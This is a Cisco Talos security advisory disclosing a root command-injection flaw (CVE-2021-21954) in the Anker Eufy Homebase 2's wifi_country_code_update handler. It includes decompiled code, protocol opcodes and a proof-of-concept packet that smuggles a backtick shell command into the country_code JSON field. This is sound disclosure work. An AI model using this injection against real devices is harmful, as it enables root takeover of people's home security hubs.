Talos Vulnerability Report

TALOS-2021-1381

Anker Eufy Homebase 2 home_security wifi_country_code_update command execution vulnerability

NOVEMBER 29, 2021

CVE NUMBER

CVE-2021-21954

SUMMARY

A command execution vulnerability exists in the wifi_country_code_update functionality of the home_security binary of Anker Eufy Homebase 2 2.1.6.9h. A specially-crafted set of network packets can lead to arbitrary command execution.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Anker Eufy Homebase 2 2.1.6.9h

PRODUCT URLS

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

CVSSV3 SCORE

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

The Eufy Homebase 2's `home_security` binary is a central cog in the device, spawning an inordinate amount of pthreads immediately after executing, each with their own little task. For the purposes of this advisory, we care solely about the pthread in charge of a particular cloud connectivity occurring with IP address `18.224.66.194` on UDP port 8006. An example of such traffic is shown below:

```
// device -> cloud
0000   58 5a fe b9 0b 00 00 00 59 5e 42 61 01 00 00 00   XZ......Y^Ba....
0010   00 00 01 00 54 38 30 31 30 4e 31 32 33 34 35 36   ....T8010N123456
0020   37 48 39 3A 00                                    789A.
```

This particular packet is the `CMD_DEVICE_HEARTBEAT_CHECK`, and the server’s response is seen below:

```
// cloud -> device response
0000   58 5a 32 b2 0b 00 1d 00 59 5e 42 61 01 00 01 00   XZ2.....Y^Ba....
0010   00 00 01 00 54 38 30 31 30 4e 31 32 33 34 35 36   ....T8010N123456
0020   38 48 39 3a 00 7b 22 64 65 76 69 63 65 5f 69 70   789a.{"device_ip
0030   22 3a 22 37 31 2e 31 36 32 2e 32 33 37 2e 33 34   ":"71.162.237.34
0040   22 7d                                             "}
```

While there is some interesting information already visible, reversing the protocol and viewing with a decoder is much more informative:

```
[>_>] ---Pushpkt---
Magic       : 0x5a58
CRC         : 0x1234
Opcode      : 0x000b (CMD_DEVICE_HEARTBEAT_CHECK)
Bodylen     : 0x0000
Time (unix) : 1632154786
msg_ver     : 0x0001
is_resp     : 0x00
idk_lol     : 0x00
idk_lol2    : 0x0000
non_zero    : 0x0001
Hub SN      : T8010N123456789a\x00

[<_<] response pkt:
[>_>] ---Pushpkt---
Magic       : 0x5a58
CRC         : 0x5678
Opcode      : 0x000b (CMD_DEVICE_HEARTBEAT_CHECK)
Bodylen     : 0x001d
Time (unix) : 1632154746
msg_ver     : 0x0001
is_resp     : 0x01
idk_lol     : 0x00
idk_lol2    : 0x0000
non_zero    : 0x0001
Hub SN      : T8010N123456789a\x00
Msgbody      : {"device_ip":"71.162.237.34"}
```

While this specific command doesn't particularly do much, there does exist a decent amount of other opcodes to interact with:

```
opcode_dict = {
    0xb   :  "CMD_DEVICE_HEARTBEAT_CHECK",
    0xc   :  "CMD_DEVICE_GET_SERVER_LIST_REQUEST",
    0xd   :  "CMD_DEVICE_GET_RSA_KEY_REQUEST",
    0x22  :  "CMD_SERVER_GET_AES_KEY_INFO",
    0x3ea :  "zx_app_unbind_hub_by_server",
    0x3eb :  "zx_start_stream",
    0x3ec :  "zx_stream_delete",
    0x3f1 :  "zx_set_dev_storagetype_by_SN",
    0x40a :  "APP_CMD_HUB_REBOOT",
    0x410 :  "zx_unbind_dev_by_sn",
    0x464 :  "APP_CMD_GET_EXCEPTION_LOG",
    0x46d :  "CMD_GET_HUB_UPGRADE",
    0xbb8 :  "turn_on_facial_recognition?",
    0xfa0 :  "wifi_country_code_update",     // [1]
    0xfa1 :  "wifi_channel_update",
    0x1388 : "CMD_SET_DEFINE_COMMAND_VALUE",
    0x1770 : "CMD_SET_DEFINE_COMMAND_STRING"
}
```

For this advisory we'll be discussing opcode 0xfa0, the `wifi_country_code_update` command [1]. It's worth noting that this request does require authentication, but this can be achieved via one of the authentication bypass vulnerabilities that we've previously discovered (TALOS-2021-1379 and TALOS-2021-1380). Continuing on, this command's code is very simple:

```
005a2f5c  if (opcode_mb == 0xfa0)
005a4520      start_stream_ret = 1
005a4548      cjson = cJSON_Parse(&resppkt.msg) // [2]
005a4554      if (cjson == 0)
005a4670          some_str[0].d = 0x4f534a63
005a4674          some_str[4].d = 0x61505f4e
005a4678          some_str[8].d = 0x20657372
005a467c          some_str[0xc].d = 0x66207369
005a4680          some_str[0x10].d = 0x756c6961
005a4690          some_str[0x14].w = 0x6572
005a469c          char var_716_5 = 0
005a457c      else
005a457c          char* country_code = zx_Json_GetString(obj: cjson, string: "country_code", output_ptr: &tmp_json_ptr) // [3]
005a4594          if (country_code == 0)
005a4624              some_str[0].d = 'cJSO'
005a4628              some_str[4].d = 'N_Ge'
005a462c              some_str[8].d = 'tStr'
005a4630              some_str[0xc].d = 'ing '
005a4634              some_str[0x10].d = 'fail'
005a4638              some_str[0x14].d = 'ure'
005a45b4          else
005a45b4              zx_set_nvram(0x79d738, country_code)  {"CountryCode"}
005a45d8              zx_do_system(0x79d744, country_code)  {"iwpriv ra0 set CountryCode=%s"} // [4]
005a45e4              start_stream_ret = 0
```

At [2], the server takes our packet's data and parses it as a JSON, returning it into a cjson object. The value of the `country_code` field is then pulled out of this json at [3] and `vsprintf`'ed directly into the "`iwpriv ra0 set CountryCode=%s`" string at [4] inside `zx_do_system`. Without going too much into the implementation of `zx_do_system`, it suffices to say that there is no sanitation inside, and the command provided is passed directly into a busybox shell, resulting in command injection as root. To see an example of this in action:

```
[>_>] ---Pushpkt---
Magic       : 0x5a58
CRC         : 0x1234
Opcode      : 0x0fa0 (wifi_country_code_update)
Bodylen     : 0x0028
Time (unix) : 1632328711
msg_ver     : 0x0001
is_resp     : 0x00
idk_lol     : 0x00
err_code    : 0x0000
non_zero    : 0x0000
Hub SN (enc): [...]
Msgbody     : {"country_code":"`touch /mnt/boop.txt`"} // [5]

[>_>] ---Pushpkt---
Magic       : 0x5a58
CRC         : 0x3456
Opcode      : 0x0fa0 (wifi_country_code_update)
Bodylen     : 0x0028
Time (unix) : 1632328711
msg_ver     : 0x0001
is_resp     : 0x01
idk_lol     : 0x00
err_code    : 0x0000
non_zero    : 0x0000
Hub SN      : [...]
```

At [5] we can clearly see the desired command injection, `touch /mnt/boop.txt`, and if we then look upon the device after the fact, we can see the created file:

```
BusyBox v1.12.1 (2020-12-08 19:52:46 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls /mnt
DataDisk                hk_setupcode.sh         ocean.sh
FlashKeyValueStore.dat  hub_time.dat            zx_udp_push_config.ini
base_param.dat          nv-simulation.bin
boop.txt                nv-simulation.bin.bak
```

TIMELINE

2021-09-28 - Vendor Disclosure

2021-11-22 - Vendor Patched

2021-11-29 - Public Release

CREDIT

Discovered by Lilith >_> of Cisco Talos.
